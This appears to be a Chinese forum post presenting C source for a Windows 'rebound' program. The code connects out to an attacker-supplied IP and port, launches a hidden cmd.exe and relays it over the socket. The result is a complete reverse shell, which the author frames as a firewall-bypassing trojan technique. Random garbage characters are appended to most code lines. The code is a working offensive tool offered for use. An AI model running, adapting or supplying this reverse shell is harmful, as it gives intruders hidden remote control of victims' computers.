这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 `W86]ut[
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/* ============================== :M(uP e=D
Rebound port in Windows NT MpOU>\
By wind,2006/7 tV!?Ol
===============================*/ Kk^*#vR
#include pGD@R=8
#include z&;8pZr
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#pragma comment(lib,"wsock32.lib") nI6gd%C
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void OutputShell(); I)mB]j
SOCKET sClient; VcKB:(:[
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; 6f +aGz
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void main(int argc,char **argv) 3(c-o0M
{ /\%<VBx ?q
WSADATA stWsaData; W6<oy
int nRet; Et3I(X3
SOCKADDR_IN stSaiClient,stSaiServer; d-b04Q7DQ
l5-[a
if(argc != 3) Oc L7] b0
{ TAXsL&Tz>
printf("Useage:\n\rRebound DestIP DestPort\n"); w(@r-2D"
return; CM?:\$ 4
} 6qT@M0)i
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WSAStartup(MAKEWORD(2,2),&stWsaData); `<9>X9.+
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ~
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stSaiClient.sin_family = AF_INET; :7K
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stSaiClient.sin_port = htons(0); /x49!8
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); *$=i1w
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) ~A>fB2.pM
{ D1rVgM
printf("Bind Socket Failed!\n"); rxyv+@~Nc
return; i >3`V6
} @bg9
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stSaiServer.sin_family = AF_INET; w*`:v$
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); HTh?&u\QG
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); IWE([<i}i[
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) # `=Zc7gf
{ ox&5}&\
printf("Connect Error!"); ?TA7i b_
return; ^$ Y9.IH"
} 4|PWR_x
OutputShell(); 4vg3F(
} gC?}1]9c
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void OutputShell() ndD>Oc}"3
{ ins(RWO
char szBuff[1024]; L62'Amml
SECURITY_ATTRIBUTES stSecurityAttributes; W^iK9|[qp
OSVERSIONINFO stOsversionInfo; O=A R`r# u
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; *5Zow 3
STARTUPINFO stStartupInfo; {L;sF=d
char *szShell; qy|bOl
PROCESS_INFORMATION stProcessInformation; d[t0K]
unsigned long lBytesRead; O_;BZzT
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of
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); [WDzaRzd
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); 0$|VkMq(
stSecurityAttributes.lpSecurityDescriptor = 0; [#GBn0BG)
stSecurityAttributes.bInheritHandle = TRUE; M@TG7M7Os
~) ;4O8~.
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); NAo.79
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); Q+1ot,R
br=e+]C Y)
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); =OK#5r[UV
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; K#A&
stStartupInfo.wShowWindow = SW_HIDE; r $S9/
stStartupInfo.hStdInput = hReadPipe; IGTO|sT"
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; 3}}/,pGSc
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GetVersionEx(&stOsversionInfo); 3.YH7rN
c^= q(V
switch(stOsversionInfo.dwPlatformId) n@`3O'S
{ vGyQ306
case 1: 9SeGkwec?$
szShell = "command.com"; k$v7@|Aw
break; W_XFTqp^
default: #N`'hPD}
szShell = "cmd.exe"; lSR\wz*Fk
break; n`=S&oKH
} 6Y [&1c8
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); J.rS@Z`~7
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send(sClient,szMsg,77,0); Y<;C>Rs
while(1) !$HuH6_[
{ KeyKLkg>
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); V.3#O^S
if(lBytesRead) 26~rEOgJ
{ ZS:[ZehF
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); ^I/(9KP#
send(sClient,szBuff,lBytesRead,0); hak#Iz0[C
} cV:Q(|QC
else #~j $J
{ Z2{$FN
lBytesRead=recv(sClient,szBuff,1024,0); qb nlD\
if(lBytesRead<=0) break; ip'v<%,Q3"
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); HV`u#hZ7C
} lU|ltnU
} |QzJHP @
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return; BCExhp
}